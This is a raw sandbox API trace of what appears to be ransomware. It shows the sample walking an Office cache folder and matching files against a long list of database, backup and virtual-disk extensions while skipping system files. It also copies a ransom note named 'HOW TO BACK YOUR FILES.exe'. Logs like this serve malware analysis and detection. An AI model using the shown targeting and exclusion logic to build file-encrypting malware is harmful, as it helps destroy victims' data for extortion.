	[0050.922] lstrlenW (lpString="btr") returned 3
	[0050.922] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0050.922] lstrlenW (lpString="cat") returned 3
	[0050.922] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0050.922] lstrlenW (lpString="cdb") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0050.923] lstrlenW (lpString="ckp") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0050.923] lstrlenW (lpString="cma") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0050.923] lstrlenW (lpString="cpd") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0050.923] lstrlenW (lpString="dacpac") returned 6
	[0050.923] lstrcmpiW (lpString1="ns.dat", lpString2="dacpac") returned 1
	[0050.923] lstrlenW (lpString="dad") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0050.923] lstrlenW (lpString="dadiagrams") returned 10
	[0050.923] lstrlenW (lpString="daschema") returned 8
	[0050.923] lstrcmpiW (lpString1="kens.dat", lpString2="daschema") returned 1
	[0050.923] lstrlenW (lpString="db-journal") returned 10
	[0050.923] lstrlenW (lpString="db-shm") returned 6
	[0050.923] lstrcmpiW (lpString1="ns.dat", lpString2="db-shm") returned 1
	[0050.923] lstrlenW (lpString="db-wal") returned 6
	[0050.923] lstrcmpiW (lpString1="ns.dat", lpString2="db-wal") returned 1
	[0050.923] lstrlenW (lpString="dbc") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0050.923] lstrlenW (lpString="dbs") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0050.923] lstrlenW (lpString="dbt") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0050.923] lstrlenW (lpString="dbv") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0050.923] lstrlenW (lpString="dbx") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0050.923] lstrlenW (lpString="dcb") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0050.923] lstrlenW (lpString="dct") returned 3
	[0050.923] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0050.924] lstrlenW (lpString="dcx") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0050.924] lstrlenW (lpString="ddl") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0050.924] lstrlenW (lpString="dlis") returned 4
	[0050.924] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0050.924] lstrlenW (lpString="dp1") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0050.924] lstrlenW (lpString="dqy") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0050.924] lstrlenW (lpString="dsk") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0050.924] lstrlenW (lpString="dsn") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0050.924] lstrlenW (lpString="dtsx") returned 4
	[0050.924] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0050.924] lstrlenW (lpString="dxl") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0050.924] lstrlenW (lpString="eco") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0050.924] lstrlenW (lpString="ecx") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0050.924] lstrlenW (lpString="edb") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0050.924] lstrlenW (lpString="epim") returned 4
	[0050.924] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0050.924] lstrlenW (lpString="fcd") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0050.924] lstrlenW (lpString="fdb") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0050.924] lstrlenW (lpString="fic") returned 3
	[0050.924] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0050.924] lstrlenW (lpString="flexolibrary") returned 12
	[0050.925] lstrlenW (lpString="fm5") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0050.925] lstrlenW (lpString="fmp") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0050.925] lstrlenW (lpString="fmp12") returned 5
	[0050.925] lstrcmpiW (lpString1="s.dat", lpString2="fmp12") returned 1
	[0050.925] lstrlenW (lpString="fmpsl") returned 5
	[0050.925] lstrcmpiW (lpString1="s.dat", lpString2="fmpsl") returned 1
	[0050.925] lstrlenW (lpString="fol") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0050.925] lstrlenW (lpString="fp3") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0050.925] lstrlenW (lpString="fp4") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0050.925] lstrlenW (lpString="fp5") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0050.925] lstrlenW (lpString="fp7") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0050.925] lstrlenW (lpString="fpt") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0050.925] lstrlenW (lpString="frm") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0050.925] lstrlenW (lpString="gdb") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0050.925] lstrlenW (lpString="gdb") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0050.925] lstrlenW (lpString="grdb") returned 4
	[0050.925] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0050.925] lstrlenW (lpString="gwi") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0050.925] lstrlenW (lpString="hdb") returned 3
	[0050.925] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0050.925] lstrlenW (lpString="his") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0050.926] lstrlenW (lpString="ib") returned 2
	[0050.926] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0050.926] lstrlenW (lpString="idb") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0050.926] lstrlenW (lpString="ihx") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0050.926] lstrlenW (lpString="itdb") returned 4
	[0050.926] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0050.926] lstrlenW (lpString="itw") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0050.926] lstrlenW (lpString="jet") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0050.926] lstrlenW (lpString="jtx") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0050.926] lstrlenW (lpString="kdb") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0050.926] lstrlenW (lpString="kexi") returned 4
	[0050.926] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0050.926] lstrlenW (lpString="kexic") returned 5
	[0050.926] lstrcmpiW (lpString1="s.dat", lpString2="kexic") returned 1
	[0050.926] lstrlenW (lpString="kexis") returned 5
	[0050.926] lstrcmpiW (lpString1="s.dat", lpString2="kexis") returned 1
	[0050.926] lstrlenW (lpString="lgc") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0050.926] lstrlenW (lpString="lwx") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0050.926] lstrlenW (lpString="maf") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0050.926] lstrlenW (lpString="maq") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0050.926] lstrlenW (lpString="mar") returned 3
	[0050.926] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0050.927] lstrlenW (lpString="marshal") returned 7
	[0050.927] lstrcmpiW (lpString1="ens.dat", lpString2="marshal") returned -1
	[0050.927] lstrlenW (lpString="mas") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0050.927] lstrlenW (lpString="mav") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0050.927] lstrlenW (lpString="maw") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0050.927] lstrlenW (lpString="mdbhtml") returned 7
	[0050.927] lstrcmpiW (lpString1="ens.dat", lpString2="mdbhtml") returned -1
	[0050.927] lstrlenW (lpString="mdn") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0050.927] lstrlenW (lpString="mdt") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0050.927] lstrlenW (lpString="mfd") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0050.927] lstrlenW (lpString="mpd") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0050.927] lstrlenW (lpString="mrg") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0050.927] lstrlenW (lpString="mud") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0050.927] lstrlenW (lpString="mwb") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0050.927] lstrlenW (lpString="myd") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0050.927] lstrlenW (lpString="ndf") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0050.927] lstrlenW (lpString="nnt") returned 3
	[0050.927] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0050.927] lstrlenW (lpString="nrmlib") returned 6
	[0050.927] lstrcmpiW (lpString1="ns.dat", lpString2="nrmlib") returned 1
	[0050.927] lstrlenW (lpString="ns2") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0050.928] lstrlenW (lpString="ns3") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0050.928] lstrlenW (lpString="ns4") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0050.928] lstrlenW (lpString="nsf") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0050.928] lstrlenW (lpString="nv") returned 2
	[0050.928] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0050.928] lstrlenW (lpString="nv2") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0050.928] lstrlenW (lpString="nwdb") returned 4
	[0050.928] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0050.928] lstrlenW (lpString="nyf") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0050.928] lstrlenW (lpString="odb") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0050.928] lstrlenW (lpString="odb") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0050.928] lstrlenW (lpString="oqy") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0050.928] lstrlenW (lpString="ora") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0050.928] lstrlenW (lpString="orx") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0050.928] lstrlenW (lpString="owc") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0050.928] lstrlenW (lpString="p96") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0050.928] lstrlenW (lpString="p97") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0050.928] lstrlenW (lpString="pan") returned 3
	[0050.928] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0050.929] lstrlenW (lpString="pdb") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0050.929] lstrlenW (lpString="pdm") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0050.929] lstrlenW (lpString="pnz") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0050.929] lstrlenW (lpString="qry") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0050.929] lstrlenW (lpString="qvd") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0050.929] lstrlenW (lpString="rbf") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0050.929] lstrlenW (lpString="rctd") returned 4
	[0050.929] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0050.929] lstrlenW (lpString="rod") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0050.929] lstrlenW (lpString="rodx") returned 4
	[0050.929] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0050.929] lstrlenW (lpString="rpd") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0050.929] lstrlenW (lpString="rsd") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0050.929] lstrlenW (lpString="sas7bdat") returned 8
	[0050.929] lstrcmpiW (lpString1="kens.dat", lpString2="sas7bdat") returned -1
	[0050.929] lstrlenW (lpString="sbf") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0050.929] lstrlenW (lpString="scx") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0050.929] lstrlenW (lpString="sdb") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0050.929] lstrlenW (lpString="sdc") returned 3
	[0050.929] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0050.929] lstrlenW (lpString="sdf") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0050.930] lstrlenW (lpString="sis") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0050.930] lstrlenW (lpString="spq") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0050.930] lstrlenW (lpString="te") returned 2
	[0050.930] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0050.930] lstrlenW (lpString="teacher") returned 7
	[0050.930] lstrcmpiW (lpString1="ens.dat", lpString2="teacher") returned -1
	[0050.930] lstrlenW (lpString="tmd") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0050.930] lstrlenW (lpString="tps") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0050.930] lstrlenW (lpString="trc") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0050.930] lstrlenW (lpString="trc") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0050.930] lstrlenW (lpString="trm") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0050.930] lstrlenW (lpString="udb") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0050.930] lstrlenW (lpString="udl") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0050.930] lstrlenW (lpString="usr") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0050.930] lstrlenW (lpString="v12") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
	[0050.930] lstrlenW (lpString="vis") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0050.930] lstrlenW (lpString="vpd") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0050.930] lstrlenW (lpString="vvv") returned 3
	[0050.930] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0050.930] lstrlenW (lpString="wdb") returned 3
	[0050.931] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0050.931] lstrlenW (lpString="wmdb") returned 4
	[0050.931] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0050.931] lstrlenW (lpString="wrk") returned 3
	[0050.931] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0050.931] lstrlenW (lpString="xdb") returned 3
	[0050.931] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0050.931] lstrlenW (lpString="xld") returned 3
	[0050.931] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0050.931] lstrlenW (lpString="xmlff") returned 5
	[0050.931] lstrcmpiW (lpString1="s.dat", lpString2="xmlff") returned -1
	[0050.931] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0
	[0050.931] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.931] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0050.931] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache"
	[0050.931] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0050.931] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0050.931] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned 63
	[0050.931] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: lpString1="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache"
	[0050.931] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.931] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.932] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.932] GetLastError () returned 0x0
	[0050.932] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.932] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.932] CloseHandle (hObject=0x15c) returned 1
	[0050.932] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.932] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.932] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fa16ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fa16ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.932] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.932] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.932] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.932] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fa16ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fa16ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.932] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.932] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.932] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.932] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.932] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1
	[0050.932] lstrcmpiW (lpString1="cache.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.932] lstrcmpiW (lpString1="cache.dat", lpString2="Apollon865.txt.exe") returned 1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2=".") returned 1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2="..") returned 1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2="windows") returned -1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2="bootmgr") returned 1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2="temp") returned -1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2="pagefile.sys") returned -1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2="boot") returned 1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2="ids.txt") returned -1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2="ntuser.dat") returned -1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2="perflogs") returned -1
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2="MSBuild") returned -1
	[0050.933] lstrlenW (lpString="cache.dat") returned 9
	[0050.933] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*") returned 65
	[0050.933] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="cache.dat" | out: lpString1="cache.dat") returned="cache.dat"
	[0050.933] lstrlenW (lpString="cache.dat") returned 9
	[0050.933] lstrlenW (lpString="Apollon865") returned 10
	[0050.933] lstrlenW (lpString=".dll") returned 4
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2=".dll") returned 1
	[0050.933] lstrlenW (lpString=".lnk") returned 4
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2=".lnk") returned 1
	[0050.933] lstrlenW (lpString=".ini") returned 4
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2=".ini") returned 1
	[0050.933] lstrlenW (lpString=".sys") returned 4
	[0050.933] lstrcmpiW (lpString1="cache.dat", lpString2=".sys") returned 1
	[0050.933] lstrlenW (lpString="cache.dat") returned 9
	[0050.933] lstrlenW (lpString="bak") returned 3
	[0050.933] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0050.933] lstrlenW (lpString="ba_") returned 3
	[0050.933] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0050.933] lstrlenW (lpString="dbb") returned 3
	[0050.933] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0050.933] lstrlenW (lpString="vmdk") returned 4
	[0050.934] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0050.934] lstrlenW (lpString="rar") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0050.934] lstrlenW (lpString="zip") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0050.934] lstrlenW (lpString="tgz") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0050.934] lstrlenW (lpString="vbox") returned 4
	[0050.934] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0050.934] lstrlenW (lpString="vdi") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0050.934] lstrlenW (lpString="vhd") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0050.934] lstrlenW (lpString="vhdx") returned 4
	[0050.934] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0050.934] lstrlenW (lpString="avhd") returned 4
	[0050.934] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0050.934] lstrlenW (lpString="db") returned 2
	[0050.934] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0050.934] lstrlenW (lpString="db2") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0050.934] lstrlenW (lpString="db3") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0050.934] lstrlenW (lpString="dbf") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0050.934] lstrlenW (lpString="mdf") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0050.934] lstrlenW (lpString="mdb") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0050.934] lstrlenW (lpString="sql") returned 3
	[0050.934] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0050.934] lstrlenW (lpString="sqlite") returned 6
	[0050.934] lstrcmpiW (lpString1="he.dat", lpString2="sqlite") returned -1
	[0050.935] lstrlenW (lpString="sqlite3") returned 7
	[0050.935] lstrcmpiW (lpString1="che.dat", lpString2="sqlite3") returned -1
	[0050.935] lstrlenW (lpString="sqlitedb") returned 8
	[0050.935] lstrcmpiW (lpString1="ache.dat", lpString2="sqlitedb") returned -1
	[0050.935] lstrlenW (lpString="xml") returned 3
	[0050.935] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0050.935] lstrlenW (lpString="$er") returned 3
	[0050.935] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0050.935] lstrlenW (lpString="4dd") returned 3
	[0050.935] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0050.935] lstrlenW (lpString="4dl") returned 3
